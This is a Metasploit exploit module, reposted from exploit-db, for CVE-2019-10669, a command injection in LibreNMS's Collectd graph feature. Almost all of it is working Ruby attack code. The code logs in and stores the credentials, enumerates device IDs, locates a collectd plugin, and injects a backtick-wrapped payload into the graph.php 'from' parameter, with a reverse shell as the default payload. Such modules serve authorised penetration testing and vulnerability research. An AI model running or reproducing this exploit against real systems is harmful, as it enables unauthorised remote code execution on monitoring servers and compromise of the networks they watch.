LibreNMS – Collectd Command Injection (Metasploit)

  • 作者: Metasploit
    日期: 2019-09-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47375/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'LibreNMS Collectd Command Injection',
    'Description'=> %q(
    This module exploits a command injection vulnerability in the
    Collectd graphing functionality in LibreNMS.
    
    The `to` and `from` parameters used to define the range for
    a graph are sanitized using the `mysqli_escape_real_string()`
    function, which permits backticks. These parameters are used
    as part of a shell command that gets executed via the `passthru()`
    function, which can result in code execution.
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Eldar Marcussen', # Vulnerability discovery
    'Shelby Pace'# Metasploit module
    ],
    'References' =>
    [
    [ 'CVE', '2019-10669' ],
    [ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
    ],
    'Platform' => 'unix',
    'Arch' => ARCH_CMD,
    'Targets'=>
    [
    [ 'Linux',
    {
    'Platform'=>'unix',
    'Arch'=>ARCH_CMD,
    'DefaultOptions'=>{ 'Payload' => 'cmd/unix/reverse' }
    }
    ]
    ],
    'DisclosureDate' => '2019-07-15',
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
    OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
    OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
    ])
    end
    
    def check
    res = send_request_cgi!('method'=>'GET', 'uri'=>target_uri.path)
    return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')
    
    about_res = send_request_cgi(
    'method'=>'GET',
    'uri' =>normalize_uri(target_uri.path, 'pages', 'about.inc.php')
    )
    
    return Exploit::CheckCode::Detected unless about_res && about_res.code == 200
    
    version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
    return Exploit::CheckCode::Detected unless version && version.length > 1
    vprint_status("LibreNMS version #{version[1]} detected")
    version = Gem::Version.new(version[1])
    
    return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
    end
    
    def login
    login_uri = normalize_uri(target_uri.path, 'login')
    res = send_request_cgi('method' =>'GET','uri' =>login_uri)
    fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200
    
    cookies = res.get_cookies
    login_res = send_request_cgi(
    'method'=>'POST',
    'uri' =>login_uri,
    'cookie'=>cookies,
    'vars_post' =>
    {
    'username'=>datastore['USERNAME'],
    'password'=>datastore['PASSWORD']
    }
    )
    
    fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302
    
    cookies = login_res.get_cookies
    res = send_request_cgi(
    'method'=>'GET',
    'uri' =>normalize_uri(target_uri.path),
    'cookie'=>cookies
    )
    fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')
    
    print_status('Successfully logged into LibreNMS. Storing credentials...')
    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    login_res.get_cookies
    end
    
    def get_version
    uri = normalize_uri(target_uri.path, 'about')
    
    res = send_request_cgi( 'method'=>'GET', 'uri' => uri, 'cookie' => @cookies )
    fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200
    
    html = res.get_html_document
    version = html.search('tr//td//a')
    fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
    version.each do |e|
    return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
    end
    end
    
    def get_device_ids
    version = get_version
    print_status("LibreNMS version: #{version}")
    
    if version && Gem::Version.new(version) < Gem::Version.new('1.50')
    dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
    format = '+list_detail'
    else
    dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
    format = 'list_detail'
    end
    
    dev_res = send_request_cgi(
    'method'=>'POST',
    'uri' =>dev_uri,
    'cookie'=>@cookies,
    'vars_post' =>
    {
    'id'=>'devices',
    'format'=>format,
    'current' =>'1',
    'sort[hostname]'=>'asc',
    'rowCount'=>50
    }
    )
    
    fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200
    
    json = JSON.parse(dev_res.body)
    fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?
    
    json = json['rows']
    fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?
    
    hosts = []
    json.each do |row|
    hostname = row['hostname']
    next if hostname.nil?
    
    id = hostname.match('href=\"device\/device=(\d+)\/')
    next unless id && id.length > 1
    hosts << id[1]
    end
    
    fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?
    
    hosts
    end
    
    def get_plugin_info(id)
    uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")
    
    res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
    return unless res && res.code == 200
    
    html = res.get_html_document
    plugin_link = html.at('div[@class="col-md-3"]//a/@href')
    return if plugin_link.nil?
    
    plugin_link = plugin_link.value
    plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
    c_plugin = plugin_hash['c_plugin']
    c_type = plugin_hash['c_type']
    c_type_instance = plugin_hash['c_type_instance'] || ''
    c_plugin_instance = plugin_hash['c_plugin_instance'] || ''
    
    return c_plugin, c_type, c_plugin_instance, c_type_instance
    end
    
    def exploit
    req_uri = normalize_uri(target_uri.path, 'graph.php')
    @cookies = login
    
    dev_ids = get_device_ids
    
    collectd_device = -1
    plugin_name = nil
    plugin_type = nil
    plugin_instance = nil
    plugin_type_inst = nil
    dev_ids.each do |device|
     collectd_device = device
     plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
     break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
     collectd_device = -1
    end
    
    fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
    print_status("Sending payload via device #{collectd_device}")
    
    res = send_request_cgi(
    'method'=>'GET',
    'uri' =>req_uri,
    'cookie'=>@cookies,
    'vars_get'=>
    {
    'device'=>collectd_device,
    'type'=>'device_collectd',
    'to'=>Rex::Text.rand_text_numeric(10),
    'from'=>"1`#{payload.encoded}`",
    'c_plugin'=>plugin_name,
    'c_type'=>plugin_type,
    'c_plugin_instance' =>plugin_instance,
    'c_type_instance' =>plugin_type_inst
    }
    )
    end
    end